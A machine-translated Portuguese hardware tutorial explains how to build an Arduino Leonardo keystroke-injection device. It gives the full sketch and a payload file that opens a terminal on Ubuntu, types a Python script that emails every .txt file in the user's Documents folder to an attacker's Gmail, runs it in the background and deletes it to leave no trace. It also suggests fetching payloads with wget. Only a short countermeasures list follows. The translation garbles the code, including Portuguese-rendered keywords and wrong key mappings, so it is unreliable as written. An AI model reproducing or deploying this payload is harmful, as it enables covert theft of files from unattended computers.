Demonstração de exploração do teclado Arduino (HID) e prevenção: 4 etapas (com imagens)

2024 Autor: John Day | [email protected]. Última modificação: 2024-01-30 11:38

Neste projeto vamos usar um arduino leonardo para simular um possível ataque USB usando HID (dispositivo de interface humain).

Criei este tutorial não para ajudar os hackers, mas para mostrar alguns perigos reais e como se proteger desses perigos. Este dispositivo não é um dispositivo que pode ser usado em qualquer plataforma por hackers, é mais uma prova de conceito em detalhes.

Vamos aprender o seguinte:

- como usar o Arduino Leonardo para emular o teclado

- como ler dados de cartões SD

- como criar um script Python que verifica arquivos e os envia por e-mail

- como se proteger de dispositivos de hacking USB

Etapa 1: Materiais

Partes:

1. Arduino leonardo

2. leitor de cartão micro USB

3. alguns GB de cartão SD

4. botão de pressão como este (VCC, Terra e sinal)

5. cabos jumper fêmea-macho e fêmea-fêmea

6. cabo micro USB para USB

Etapa 2: Construindo o Dispositivo

Antes da instrução de construção, vamos revisar o princípio de funcionamento:

Arduino leonardo pode se comportar como um dispositivo de interface humana (HID) e, portanto, pode emular mouse e teclado. Vamos usar este recurso para abrir um terminal (em UBUNTU linux) e escrever um pequeno script que irá acessar a pasta / Documents dentro da pasta home do usuário, copiar os arquivos.txt para lá e enviá-los para alguém. Se você quiser saber mais detalhes, verifique a próxima etapa.

Por ser um dispositivo de demonstração, as coisas são realmente simples, não vamos soldar nada.

Instruções de construção

Antes de começarmos, verifique os arquivos anexados, anexei esquemas estranhos e todos os arquivos necessários

1. Monte os componentes:

* conecte o cabo micro USB no arduino

* conecte a chave interruptora ao arduino (aterramento, vcc e módulo de saída ao D8)

* conecte o leitor de cartão ao arduino (usando o cabeçalho ICSP). O Arduino leonardo não tem o cabeçalho ICSP conectado a pinos digitais, então você precisará conectar o leitor de cartão ao cabeçalho ICSP. Você pode encontrar alguns desenhos do ICSP aqui: https://learn.sparkfun.com/tutorials/installing-an…. Conecte o pino SS ao pino digital 10

2. obtenha o código do arduino, você pode clonar meu repositório do arduino no github: https://github.com/danionescu0/arduino e ir para projects / keyboard_exploit ou obtê-lo abaixo:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Command::"; atraso interno entre comandos = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("O cartão falhou ou não está presente!"); Retorna; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Carregado!"); atraso (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {Arquivo dataFile = SD.open (nomedoarquivoOnCard); if (! dataFile) {Serial.println ("O nome do arquivo especificado não está presente no cartão SD, verifique filenameOnCard!"); } String line; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (linha); sendToKeyboard (linha); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (linha); Retorna; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Texto:"); Serial.println (linha); Keyboard.println (linha); pressione Enter(); Retorna; } Serial.println ("Comando:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine + = ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (comando! = "") {Serial.print ("Comando encontrado:"); Serial.println (comando); Keyboard.press (getCommandCode (command)); atraso (delayBetweenCommands); }} Keyboard.releaseAll (); atraso (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Suspenso por:"); Serial.println (sleepAmount); atraso (sleepAmount); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; código = (texto == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: código; código = (texto == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: código; código = (texto == "KEY_LEFT_ALT")? KEY_LEFT_ALT: código; código = (texto == "KEY_UP_ARROW")? KEY_UP_ARROW: código; código = (texto == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: código; código = (texto == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: código; código = (texto == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: código; código = (texto == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: código; código = (texto == "KEY_BACKSPACE")? KEY_BACKSPACE: código; código = (texto == "KEY_TAB")? KEY_TAB: código; código = (texto == "KEY_RETURN")? KEY_RETURN: código; código = (texto == "KEY_ESC")? KEY_ESC: código; código = (texto == "KEY_INSERT")? KEY_INSERT: código; código = (texto == "KEY_DELETE")? KEY_DELETE: código; código = (texto == "KEY_PAGE_UP")? KEY_PAGE_UP: código; código = (texto == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: código; código = (texto == "KEY_HOME")? KEY_HOME: código; código = (texto == "KEY_END")? KEY_END: código; código = (texto == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: código; código = (texto == "KEY_F1")? KEY_F1: código; código = (texto == "KEY_F2")? KEY_F2: código; código = (texto == "KEY_F3")? KEY_F3: código; código = (texto == "KEY_F4")? KEY_F4: código; código = (texto == "KEY_F5")? KEY_F5: código; código = (texto == "KEY_F6")? KEY_F6: código; código = (texto == "KEY_F7")? KEY_F7: código; código = (texto == "KEY_F8")? KEY_F8: código; código = (texto == "KEY_F9")? KEY_F9: código; código = (texto == "KEY_F10")? KEY_F10: código; código = (texto == "KEY_F11")? KEY_F1: código; código = (texto == "KEY_F12")? KEY_F2: código;

Código de retorno;

}

3. Carregue o código para o arduino, certifique-se de selecionar a taxa de transmissão de 9600, a porta serial e o arduino leonardo

4. Formate o cartão SD usando FAT16 ou FAT32

5. Se você clonou o repositório github acima, copie o arquivo hack.txt no cartão, caso contrário, o arquivo está listado abaixo:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. MIMEText import MIMEText from email. Utils import COMMASPACE, formatdate from email import Codificadores

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documentos'

subject = body = 'Arquivos do computador hackeado'

header = 'To: {0} nDe: {1} nSubject: {2} n'.format (to_address, smtp_user, subject)

def sendMail (para, assunto, texto, arquivos = ):

msg = MIMEMultipart () msg ['De'] = smtp_user msg ['Para'] = COMMASPACE.join (para) msg ['Data'] = formatdate (localtime = True) msg ['Assunto'] = assunto msg.attach (MIMEText (texto)) para arquivo em arquivos: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = "% s"'% os.path.basename (file)) msg.attach (part)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0} / {1} / *. txt".format (expanduser ("~"), scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Edite as seguintes linhas:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

E substitua por seus endereços de e-mail

7. Remova o cartão e insira-o no leitor de cartão Arduino

Etapa 3: como funciona em detalhes

Como o ataque funcionará:

1. Quando o botão é pressionado, o Leonardo lê o cartão SD usando um leitor de cartão SD. Um arquivo especial contendo teclas e combinações de teclas estará presente no cartão. O nome do arquivo é "hack.txt".

O arquivo pode conter texto bruto e será passado para o teclado exatamente como está.

Também pode conter comandos especiais como "Sleep::" e "Command::".

Uma linha como:

Sleep:: 200 significa um sono de 200 ms

Uma linha como:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t significa ctrl pressionado à esquerda, alt pressionado à esquerda, t pressionado e tudo liberado

Você pode verificar todas as chaves especiais aqui:

2. Leonardo lerá linha por linha, interpretará os comandos e emulará as teclas do teclado. O arquivo "hack.txt" contém uma combinação de chaves que faz o seguinte (para UBUNTU linux):

uma. abre um terminal (CTRL + ALT + T)

b. abre um arquivo python para criação usando vi (escreve "vi hack.py"

c. escreve um script python que coleta todos os arquivos de texto dentro da pasta inicial de documentos e os envia para um endereço do Gmail especificado

d. executa o arquivo em segundo plano ("nohup python hack.py &")

e. exclui o arquivo (rm -rf hack.py)

f. fecha o terminal (ALT + F4)

Tudo isso funciona em poucos segundos e não deixa rastros.

Melhorias e solução de problemas

* Você deve ter notado que, depois de abrir um terminal, estou escrevendo o arquivo python. a melhor maneira de fazer isso é hospedá-lo em algum lugar e baixá-lo usando o comando "wget some_url" e, em seguida, renomeá-lo para hack.py

* Também podemos baixar ou executar um exploit pronto para o sistema operacional de destino

* wi-fi pode ser adicionado ao módulo, e os hacks podem ser carregados via WIFI

* você pode usar o arduino micro (que é muito menor) e incorporar código de exploração nele (para torná-lo menor)

Limitações

1. Como o dispositivo simulado (teclado e mouse) não tem nenhum feedback, não sabemos o que acontecerá depois de emitir um comando que significa que precisamos usar atrasos. Por exemplo, estou emitindo um comando para abrir o terminal, mas não sei quando ele será realmente aberto, então preciso especificar um atraso arbitrário para garantir que os caracteres digitados depois não sejam perdidos.

2. Podemos encontrar problemas de permissão, como não ter acesso à porta USB ou a permissão para instalar algo

3. A velocidade de digitação não é tão boa no Leonardo

4. Funcionará apenas em um sistema operacional direcionado (em nosso caso UBUNTU linux)

Na próxima etapa, tentarei encontrar maneiras de explorar essas limitações para evitar que nosso computador seja hackeado

Etapa 4: Contramedidas

1. Desativando portas USB

- para Windows, você pode verificar este tutorial:

2. Dispositivos USB na lista de permissões:

- para Windows:

2. Bloqueie o seu computador quando não estiver ausente

3. Não faça login como root (requer senhas para instalar qualquer coisa)

4. Mantenha-se atualizado (atualizações automáticas ativadas)